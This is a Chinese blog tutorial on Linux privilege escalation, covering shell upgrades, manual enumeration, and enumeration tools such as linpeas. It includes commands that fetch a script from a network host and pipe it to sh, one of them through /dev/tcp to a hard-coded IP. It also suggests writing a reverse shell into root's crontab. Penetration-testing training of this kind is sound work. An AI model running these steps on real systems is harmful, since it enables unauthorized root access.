LINUX-Privilege Escalation

提权

linux提权

具体的提权方法很大程度上取决与目标系统的配置。

我们可以分析像内核版本;已安装的应用程序;支持的编程语言和其他用户的凭据

这些关键因素中找到获得root权限的方法

这些关键元素通常包括操作系统或应用程序中的错误配置漏洞,超特权用户或弱凭据。

提权是一个非常重要的过程

目的在于全面涵盖主要的提权方法

深入剖析提权的原理和逻辑

无聊你是比赛还是工作,掌握这些提权知识都是至关重要的。

最熟悉的就是五种

ugo rwx

suid sgid

Capabilities

AppArmor Selinux

ACL

安 全 机 制

无论从红队还是从蓝队的角度会想到这么多

因为只有你理解了背后的权限体系

你能够提权,一定是基于你对一种机制的理解,和对这种机制的利用

破坏妙用巧用,一定是这样才能够让你的提权成为可能

一、就是低权限可以修改可执行文件或者脚本,然后能以高权限身份运行

就是u g o r w x加上s v这种权限体系下

二、就是从用户行为的角度

用低权限用户的运维人员也需要记忆,输入备份凭据已被使用,高权限用户的时候完成操作

或者从运维人员的角度,他的操作习惯,他的管理标准,他会把这些敏感信息留在那里

三、就是在权限的上层

在这个权限体系的上层,也就是说我们把它绕过了

一般来说会在内存,然后在cpu的这个层面

你设置这么多权限,但是没有用,我已经在你的上面去找提权的方式和策略了

在权限的上层捕捉拦截或者是修改凭据信息,这个最典型的就是我们基于内存去读取

一些敏感操作的敏感信息来实现的内核利用

一般我们把获得初始立足点之前就是信息收集

信息收集就是为了撕开入口,获得初始立足点

而获得立足点之后,为了提权横向渗透,打内网,

当我们在linux目标上获得立足点时,我们首先应该尝试的是将我们的shell升级成完整的tty

就是交互性尽可能的完整,

python -c导入一个库,是pty伪终端,在这个库中有一个方法是spawn,用它新启动一个/bin/bash会话。

python -c 'import pty; pty.spawn("/bin/bash")'

这是提高终端稳定性的第一个操作,

第二条命令stty是设置终端,然后给他一个参数raw传递的命令,同时把eco关闭掉

stty raw -echo 

第三条语句是指定终端类型export

然后对term环境变量进行指定xterm

export TERM=xterm

export TERM=xterm-color

如果使用上下方向键找不到历史命令就用这个命令

rlwrap nc -lvnp 443

第一部分  手工枚举

登录到机器后的第一个命令

whoami

看当前用户是谁

看当前用户的user id和group id

id 

如果知道其他用户的用户名可以id 用户名去查看指定用户的权限

还有和who am i相似的是who这个命令

它是看当前登录的用户和相关信息

因为linux是一个多用户系统

可以用who这个命令看除了我当前用户jack之外,还有哪些用户也登录了

d2b5ca33bd014818

w

w它提供的是当前登录用户的详细信息

d2b5ca33bd014751

last

显示的是系统最近的登录记录

d2b5ca33bd014913

uname -a 

查看内核

d2b5ca33bd015001

lsb_release -a

查看更多架构信息

d2b5ca33bd015121

cat /proc/version

proc进程信息也可以显示内核信息

d2b5ca33bd015135

issue

也可以看

d2b5ca33bd015307

hostnamectl

这些都是看内核信息的

d2b5ca33bd015346

查看网卡

新的机器都有

ip addr

d2b5ca33bd015452

比较老的机器可能只有ifconfig

ifconfig

d2b5ca33bd015546

当我们拿到一个shell之后,如果看它有多张网卡

那很可能配合着路由信息的查看,我们就能够发现内网的更多信息

这是横向渗透的第一步

ip route 

查看路由表

d2b5ca33bd015741

ip neigh

查看网络邻居

d2b5ca33bd015804

在局域网中还可以使用

arp -a

查看有那些mac地址和ip地址做了绑定

d2b5ca33bd015912

sudo -l

查看我们拥有那些权限

d2b5ca33bd020309

Capabilities

get 得到cap是capabilities,是得到权限能力,/跟目录下, 2>/dev/null是吧错误信息输出到空

d2b5ca33bd020645

ls -a

ls -liah 查看隐藏文件

d2b5ca33bd230926

history

查看历史记录有机会获取到敏感信息

d2b5ca33bd231055

cat /etc/passwd

查看passwd文件,查看用户

用户名称 : 密码用x代替 : 用户标识号UID : 组标识号GID : 描述 : 主目录 : bash环境登录Shell

d2b5ca33bd231210

cat /etc/crontab

查看定时任务,考虑能不能在里面写反弹shell,啥的,因为他是root运行的。

d2b5ca33bd233206

echo $PATH

查看环境变量,后面做基于路径的提权追加的时候可能用到

d2b5ca33bd233548

env

看整体环境变量的

d2b5ca33bd234058

ps -ef   

-e是entire全部,-f 列出,-ef就是全部列出

UID用户id,PID是process进程id,TTY是使用的终端类型,CMD是正在运行的命令

d2b5ca33bd234613

ps axjf 

显示没有连接终端的进程

d2b5ca33bd234947

还有ps aux也是显示全部进程。

top

查看动态刷新的进程信息

可以看到进程号

d2b5ca33bd235144

也可以不看动态的,只看一次

top -n 1只看一次,不实时刷新。 

上面拿到了进程号,再结合netstat -a 查看有哪些进程开启的网络连接,

 netstat -a

d2b5ca33bd000915

netstat -at

t是查看tcp的连接

d2b5ca33bd000951

u是查看udp的连接

d2b5ca33bd001031

 netstat -l

-l 列出监听模式下的所有端口

d2b5ca33bd001114

-ano 是a全部,n不解析名称,o是显示一个计时器Timer

d2b5ca33bd001300

find / -perm -u=s -type f 2>/dev/null

 -perm -u=s 权限 u=s

查看有sv的可执行文件

d2b5ca33bd001703

which 查找

which 查找是根据¥PATH顺序第一个去匹配,

查看一些程序装没装

d2b5ca33bd001829

cat /etc/fstab

查看系统有那些未挂载的磁盘

d2b5ca33bd002114

以上就是手工枚举

接下来就是

自动化枚举工具

Linpeas

最新的版本是PEASS-ng,因为他包含Linux版本和Window的支持

去github官网,找作者carlospolop

d2b5ca33bd003327

到Release,Latest最新更新。复制连接地址

d2b5ca33bd003450

到终端命令行下使用wget下载,

< img src="http://www.tess.wiki/upload/2023/d2b5ca33bd004245.png" alt="d2b5ca33bd004245" data-edit-file-id="256" data-full-url="http://www.tess.wiki/upload/2023/d2b5ca33bd004245.png" />

再添加执行权限,后执行

d2b5ca33bd004430

也可以使用curl 下载后接管道符直接输出执行完后的结果

curl https://github.com/carlospolop/PEASS-ng/releases/download/20230604-b0985b44/linpeas.sh | sh > 123.txt

这样下载不了,因为链接做了重定向需要添加-L

curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230604-b0985b44/linpeas.sh | sh > 123.txt

d2b5ca33bd004831

这样就是执行了

如果没有外网,就只能用各种方法传这个脚本文件了

本地在存有linpeas文件的目录下,开启python的http连接

d2b5ca33bd005252

然后下载

d2b5ca33bd005422

还有一种玩法,把linpeas的执行结果,输出传回kali机器,直接查看

一个窗口开传文件,

一个窗口开监听 88端口 再执行 tee 标准输出,同时也输出到linpeas.txt文本中。

然后再开一个窗口,下载执行linpeas.sh文件再执行,再连接nc IP 端口 就会把扫描结果输出回来。

d2b5ca33bd005952

再使用

less -r linpeas.txt

查看报告,嗯y确认

d2b5ca33bd011909

还有一种在没有curl的情况下的使用方法

在kali本地在存有linpeas文件的目录下,开启nc重定向把linpeas输入进来,

d2b5ca33bd030123

目标机器上执行

d2b5ca33bd030145

cat什么呢,从伪设备中/dev/tcp/23.225.116.31/88读取到的文件,加 | 管道符执行

因为在kali中已经把linpeas输入到了nc之中,这样建立一个完整的管道,

cat获得之后并不是显示出来,而是把他传到 | sh 执行,然后就可以看报告了。

Linenum

一个老一点的库,但是也可以收集一些权限,用户,敏感信息啥都都还可以。

linux-smart-enumeration

这个库也是一直在更新的

linux-exploit-suggester

也更新,只是比较慢,也可以作为备选

linuxprivchecker

这个库也两年没更新了,但是这个库是python写的py2,py3都支持,也可以做为备选。

unix-privesc-check

pentestmonkey的大佬分析过很多宝贝

22分16秒

Grsecurity

Pax

ExecShield

ASLR 地址空间布局随机化

Address space layout randomization

TOMOYO Linux

SMACK

Yama

CGroups

Linux Namespaces

StackGuard

Proplice

seccomp

ptrace

capsicum

Mprotect

chroot

firejail

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称

    暂无评论内容